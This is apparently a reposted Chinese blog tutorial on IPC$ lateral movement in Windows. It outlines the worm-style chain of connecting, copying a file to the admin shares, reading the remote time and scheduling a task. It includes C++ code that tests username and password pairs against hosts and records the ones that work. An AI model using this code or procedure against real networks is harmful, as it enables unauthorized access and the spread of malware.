思路

IPC$横向渗透的方法,也是病毒常用的扩散方法。

1、建立连接
2、复制文件到共享中C$D$E$F$
3、获取服务器的时间
3、设定计划任务按时间执行

用到的Windows API

建立网络驱动器 WNetAddConnection2()


WNetAddConnection2W(
    _In_     LPNETRESOURCEW lpNetResource,     // 资源信息
    _In_opt_ LPCWSTR       lpPassword,                   // 密码
    _In_opt_ LPCWSTR       lpUserName,                 // 用户名
    _In_     DWORD          dwFlags                            // 标志位
    );


# 使用

WNetAddConnection2(&netResource, pass, user, CONNECT_UPDATE_PROFILE))

断开网络驱动器 WNetCancelConnection2()

# 使用
WNetCancelConnection2(netResource.lpLocalName, CONNECT_UPDATE_PROFILE, true);

获取局域网内windows server 2003服务器上的时间 NetRemoteTOD()

增加计划任务 NetScheduleJobAdd()

代码实现示例


int ConnectWNet(LPWSTR user, LPWSTR pass, LPWSTR host)
{
    std::wstring string;
    if (host[0] != L'\\' && host[1] != L'\\')
    {
        string.append(L"\\\\");
    }
    string.append(host);
    NETRESOURCE netResource;
    netResource.lpLocalName = NULL;
    netResource.lpRemoteName = (LPWSTR)string.c_str();
    netResource.dwType = RESOURCETYPE_ANY;
    netResource.lpProvider = NULL;

    DWORD ret;
    char okip[260];
    //创建IPC连接     
    if ((ret = WNetAddConnection2(&netResource, pass, user, CONNECT_UPDATE_PROFILE)) == ERROR_SUCCESS)
    {
        sprintf(okip, "%s %s %s\n", host, user, pass);
        // 断开IPC连接
        DWORD dwConFlig = WNetCancelConnection2(netResource.lpLocalName, CONNECT_UPDATE_PROFILE, true);
        return 1;
    }

    return 0;
}

参考

远程IPC种植木马

https://blog.csdn.net/weixin_34408624/article/details/86248485

WnetAddConnection2

https://blog.csdn.net/VonSdite/article/details/81230306

渗透之——内网IPC$入侵

https://blog.csdn.net/l1028386804/article/details/85995503

转载于:https://www.cnblogs.com/17bdw/p/10386641.html

Logo

CSDN联合极客时间,共同打造面向开发者的精品内容学习社区,助力成长!

更多推荐